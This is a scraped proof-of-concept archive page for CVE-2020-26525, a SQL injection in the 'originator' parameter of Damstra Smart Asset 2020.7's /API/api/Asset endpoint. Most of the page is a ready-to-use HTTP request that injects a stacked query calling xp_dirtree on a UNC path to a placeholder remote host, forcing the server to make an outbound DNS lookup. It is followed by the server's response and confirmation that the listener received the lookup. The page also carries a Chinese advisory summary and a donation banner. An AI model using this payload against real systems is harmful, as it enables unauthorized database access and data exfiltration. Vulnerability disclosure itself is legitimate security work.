Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2020-26525 PoC — Damstra Smart Asset SQL注入漏洞

Source
Associated Vulnerability
Title:Damstra Smart Asset SQL注入漏洞 (CVE-2020-26525)
Description:damstra smart asset(smart asset)是美国Smart Asset by Damstra的一个个人理财估算平台。该平台在用户提供一系列个人信息后可为用户提供最佳的理财策略。 Damstra Smart Asset 2020.7版本存在SQL注入漏洞,攻击者可利用该漏洞迫使数据库和服务器启动远程连接第三方DNS服务器。
Description
Damstra Smart Asset 2020.7 has SQL injection via the API/api/Asset originator parameter.
Readme
# SmartAsset-SQLinj-CVE-2020-26525
Damstra Smart Asset 2020.7 has SQL injection via the API/api/Asset originator parameter.

Smart Asset - version  2020.7

CVE-2020-26525


==========================

HTTP Request:

GET /API/api/Asset?assetCode=XXX-08-X-01-06-01&
originator=FIRSTNAME.LASTNAME'%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5c<<REMOTE URL TO CONNECT TO>>%5cqoe'%3b%20exec%20master.dbo.xp_dirtree%20@q%3b--%20 HTTP/1.1
Authorization: Bearer eyJhbGc ...
Cookie: _ga=GA1.3.1950130407.1600387365; _gid=GA1.3.1208628208.1600387365; ajs_group_id=null; intercom-id-zk1ecu97=47f0bf3f-35aa-4f97-9239-456XXa65; intercom-session-zkXX97=

==========================

HTTP Response:

HTTP/1.1 401 Unauthorized
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
<<CUT>>


"Originator provided does not match originator stored within token!"

==========================


The remote listener server received an A DNS lookup for the domain name <<REMOTE URL TO CONNECT TO>> from the target.url.com
  
------------------------------------------

[Discoverer]
Lukasz Studniarz
File Snapshot

[4.0K] /data/pocs/3667de984ba6574ad79996c2b6d5d6fc5a8f4188 └── [1.1K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.